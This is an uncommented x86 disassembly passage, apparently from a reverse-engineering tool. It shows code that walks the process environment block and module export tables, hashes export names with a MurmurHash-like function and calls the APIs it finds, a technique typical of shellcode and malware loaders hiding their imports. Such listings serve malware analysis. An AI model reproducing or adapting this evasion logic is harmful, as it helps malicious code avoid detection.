imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x451620
cmp esi, 0xc1271415
je 0x4516a6
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x2c]
test ebx, ebx
jne 0x451603
mov eax, dword [eax]
jmp 0x4515d0
mov esi, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x158]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0x174]
push dword [ebp - 0x160]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0045bfb6
mov esp, ebp
pop ebp
ret
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x158], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x15c], ecx
cmp ecx, edx
je 0x4517bf
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x4517bf
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x2c], ecx
dec ebx
mov esi, 0x45fae049
mov cl, byte [edi]
inc edi
test cl, cl
je 0x4517b4
nop
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x451740
cmp esi, 0x81fc7f18
je 0x4517c6
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x2c]
test ebx, ebx
jne 0x451723
mov eax, dword [eax]
jmp 0x4516f0
mov esi, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x158]
push dword [ebp - 0x170]
mov eax, dword [esi + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
nop
mov eax, dword fs:[0x30]
xorps xmm0, xmm0
movups xmmword [ebp - 0x154], xmm0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x158], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x15c], ecx
cmp ecx, edx
je 0x4518df
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x4518df
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
sub ecx, 4
dec ebx
mov dword [ebp - 0x2c], ecx
mov edi, 0xbc4ff71a
mov ecx, dword [ecx]
add ecx, edx
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x4518d1
nop
movsx esi, dl
lea ecx, [ecx + 1]
imul edx, esi, 0xcc9e2d51
rol edx, 0xf
imul edx, edx, 0x1b873593
xor edx, edi
rol edx, 0xd
add edx, 0xfaddaf14
lea edi, [edx + edx*4]
imul edx, esi, 0x51000000
rol edx, 0xf
imul edx, edx, 0x1b873593
xor edi, edx
xor edi, 1
mov edx, edi
shr edx, 0x10
xor edx, edi
imul esi, edx, 0x85ebca6b
mov edx, esi
shr edx, 0xd
xor edx, esi
imul esi, edx, 0xc2b2ae35
mov edx, esi
shr edx, 0x10
xor edx, esi
imul edi, edx, 0x539
mov dl, byte [ecx - 1]
test dl, dl
jne 0x451860
cmp edi, 0xe697a465
je 0x4518e6
mov ecx, dword [ebp - 0x2c]
mov edx, dword [eax + 0x18]
test ebx, ebx
jne 0x451843
mov eax, dword [eax]
jmp 0x451810
mov esi, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x158]
push 0
push 0x10
mov eax, dword [esi + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x154]
push ecx
push dword [ebp - 0x164]
add eax, edx
push dword [ebp - 0x160]
call eax
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x170], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x158], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x15c], ecx
cmp ecx, edx
je 0x451a0f
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x451a0f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x2c], ecx
dec ebx
mov esi, 0x9dcb8a1e
mov cl, byte [edi]
inc edi
test cl, cl
je 0x451a04
nop
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x451990
cmp esi, 0x89ea4a7c
je 0x451a16
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x2c]
test ebx, ebx
jne 0x451973
mov eax, dword [eax]
jmp 0x451940
mov esi, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x158]
push 0xa
mov eax, dword [esi + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
cmp dword [ebp - 0x170], 0
je 0x4517f0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x158], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x15c], ecx
cmp ecx, edx
je 0x451b22
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x451b22
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x2c], ecx
dec ebx
mov esi, 0xcb558cff
mov cl, byte [edi]
inc edi
test cl, cl
je 0x451b17
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x451aa3
cmp esi, 0xc6f2a348
je 0x451b29
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x2c]
test ebx, ebx
jne 0x451a87
mov eax, dword [eax]
jmp 0x451a54
mov esi, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x158]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0x174]
push dword [ebp - 0x160]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0045bfb6
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x178]
push ecx
call fcn.0045bfc4
mov ecx, dword [ebp - 8]
add esp, 4
xor ecx, ebp
xor al, al
pop edi
pop esi
pop ebx
call fcn.0045bfb6
mov esp, ebp
pop ebp
ret